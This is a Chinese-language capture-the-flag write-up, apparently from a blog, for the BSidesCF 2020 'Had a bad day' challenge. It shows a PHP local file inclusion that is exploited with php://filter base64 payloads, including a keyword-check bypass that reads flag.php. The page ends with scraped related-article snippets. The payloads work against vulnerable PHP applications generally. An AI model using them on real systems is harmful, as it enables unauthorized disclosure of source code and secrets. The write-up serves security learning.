首先先打开主页,审查代码,并没有什么特别的地方
使用dirsearch,发现flag.php
![在这里插入图片描述](https://img-blog.csdnimg.cn/82348deddfd94ca4a9a05fe1d02e0131.png)
打开什么都不显示
网页下又两个按钮,从源代码来看,会将两个属性--"woofers"和"meowers"通过get方法传递,通过修改属性发现网页不显示
![在这里插入图片描述](https://img-blog.csdnimg.cn/09fa8628eaff4a25828050bc11a9621d.png)
当输入标点符号发现报错
![在这里插入图片描述](https://img-blog.csdnimg.cn/96524b47fbcf44f7b4142d794e42f911.png)

使用了include函数,想到使用php伪协议
使用php://filter读取一些源代码

```
category=php://filter/read=convert.base64-encode/resource=index.php
```

![在这里插入图片描述](https://img-blog.csdnimg.cn/21ecc8d993254ff9b020a8d388e177f5.png)

报错,发现.php重复了两次,推测源代码对输入进行了拼接

```
category=php://filter/read=convert.base64-encode/resource=index
```
可以正常读出,网页中的php代码为

```
<?php
$file = $_GET['category'];

if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
```

```
category=php://filter/read=convert.base64-encode/resource=flag
```
尝试使用伪协议读取flag.php
![在这里插入图片描述](https://img-blog.csdnimg.cn/b2f3be9b801641e6babf46a29f75cc42.png)
发现不显示
审查php代码
可以发现当get传入的参数不包含"woofers"、"meowers"、"index"则会跳转到else,所以无法直接读取,必须在变量中插入"woofers"、"meowers"、"index"
最终payload
```
category=php://filter/read=convert.base64-encode/index/resource=flag
```
![·](https://img-blog.csdnimg.cn/2d13305f53324041b32410f0f9c2aa00.png)

[BSidesCF 2020]Had a bad day 1--PHP伪协议的更多相关文章

  1. 2020/2/3 PHP代码审计之PHP伪协议

    0x00 简介 开局一张图233 0x01 file://协议 说明: file:// 文件系统是 PHP 使用的默认封装协议,展现了本地文件系统.当指定了一个相对路径(不以/..\或 Windows ...

  2. [BSidesCF 2020]Had a bad day

    [BSidesCF 2020]Had a bad day 测试 一些猫狗的图片加上url有传参,测试到文件包含时报错了. 使用php伪协议: php伪协议 php://fliter/read=conv ...

  3. [BUUOJ记录] [BSidesCF 2020]Had a bad day

    主要考察文件包含以及php://filter伪协议的一个小trick.题目很简单,但是因为不知道这个trick卡了很久,记录一下 进入题目看到有两个按钮,没有其他信息: 点击按钮显示出来一张图片,然后 ...

  4. 三叶草极客大挑战2020 部分题目Writeup

    三叶草极客大挑战2020 部分题目Writeup Web Welcome 打开后状态码405,555555,然后看了一下报头存在请求错误,换成POST请求后,查看到源码 <?php error_ ...

  5. BUUCTF-[网鼎杯 2020 青龙组]AreUSerialz

    BUUCTF-[网鼎杯 2020 青龙组]AreUSerialz 看题 <?php include("flag.php"); highlight_file(__FILE__) ...

  6. 2020极客大挑战Web题

    前言 wp是以前写的,整理一下发上来. 不是很全. 2020 极客大挑战 WEB 1.sha1碰撞 题目 图片: 思路 题目说,换一种请求方式.于是换成post.得到一给含有代码的图片 图片: 分析该 ...

  7. 关于绕过域名(ip)校验的一些小知识

    这篇文章最开始只是想写一个关于绕过referer的方法,写着写着发现和ssrf以及url跳转的一些手法类似,于是把这两种也加上了 对referer做校验一般是对csrf进行防范的手段之一,但是很多时候 ...

  8. PHP代码审计基础

    php核心配置 php.ini 基本配置 语法 大小写敏感 运算符 空值的表达式 安全模式 安全模式 safe_mode = off 用来限制文档的存取,限制环境变量的存取,控制外部程序的执行.PHP ...

  9. BUUCTF知识记录

    [强网杯 2019]随便注 先尝试普通的注入 发现注入成功了,接下来走流程的时候碰到了问题 发现过滤了select和where这个两个最重要的查询语句,不过其他的过滤很奇怪,为什么要过滤update, ...

随机推荐

  1. JVM 的执行子系统

    JVM 的执行子系统. 一.Class类文件结构 1. JVM的平台无关性 与平台无关性是建立在操作系统上,虚拟机厂商提供了许多可以运行在各种不同平台的虚拟机,它们都可以载入和执行字节码,从而实现程序 ...

  2. python+requests接口用例

    本实例通过请求接口登录系统,获取了配置项的ID,并最终实现了对配置项的默认值进行修改 使用到的接口请求方法有:get(查询) ,post(新增),put(修改) 遇到的阻碍点见下面具体代码处的详解 编 ...

  3. 【Android编程】android平台的MITM瑞士军刀_cSploit源码解析及中间人攻击复现

    /文章作者:Kali_MG1937 作者博客ID:ALDYS4 QQ:3496925334 未经允许,禁止转载/ 何为MITM欺骗,顾名思义,中间人攻击的含义即为在局域网中充当数据包交换中间人的角色 ...

  4. 【NX二次开发】判断面是否相切,相切面。

    判断面是否相切,相切面. 用到的函数: UF_MODL_ask_minimum_dist 获取两个对象之间的最短距离,以及点坐标 UF_MODL_ask_face_parm 给定一个参考点,返回曲面上 ...

  5. csps2019AFO祭

    预感可能是我写的最长的博客 Day 0   收拾收拾东西然后来机房各种颓废,因为很懒所以也不想敲板子从luogu随便看了看题就发现不会, 于是愉快的耸题解代码,然后快出发前接受来自各种老师的毒奶... ...

  6. NOIP模拟测试24「star way to hevaen·lost my music」

    star way to heaven 题解 大致尝试了一下并查集,记忆化搜索,最小生成树 最小生成树是正解,跑最小生成树然后找到最大的值 欧几里德距离最小生成树学习 prim楞跑 至于为什么跑最小生成 ...

  7. Android开发回收bitmap引发Canvas: trying to use a recycled bitmap错误处理

    当你的应用由于加载大量图片出现OOM异常时,肯定会上网搜索关于OOM的文章,并导求相应的解决方案,比如压缩图片大小,或手动回收资源什么的.在这里我们不讨论图片压缩或缓冲这些方法,而是讨论一下手动回收B ...

  8. 使用Linux Deploy将闲置的安卓手机改造简易服务器

    本文将介绍我在自己闲置的小米4手机安装CentOS系统的过程.手机配置信息:MIUI 9开发板(方便ROOT).Android 6.架构 ARMv7(arm32) 准备工作 1.手机必须ROOT!!! ...

  9. 9、SpringBoot整合之SpringBoot整合SpringSecurity

    SpringBoot整合SpringSecurity 一.创建项目,选择依赖 选择Spring Web.Thymeleaf即可 二.在pom文件中导入相关依赖 <!-- 导入SpringSecu ...

  10. Jenkins 进阶篇 - 权限配置

    Jenkins的授权策略 Jenkins 默认的授权策略是[登录用户可以做任何事],也就是人人都是管理员,可以修改所有的设置以及构建所有的任务,不用做任何设置,有账号登录到 Jenkins 系统即可, ...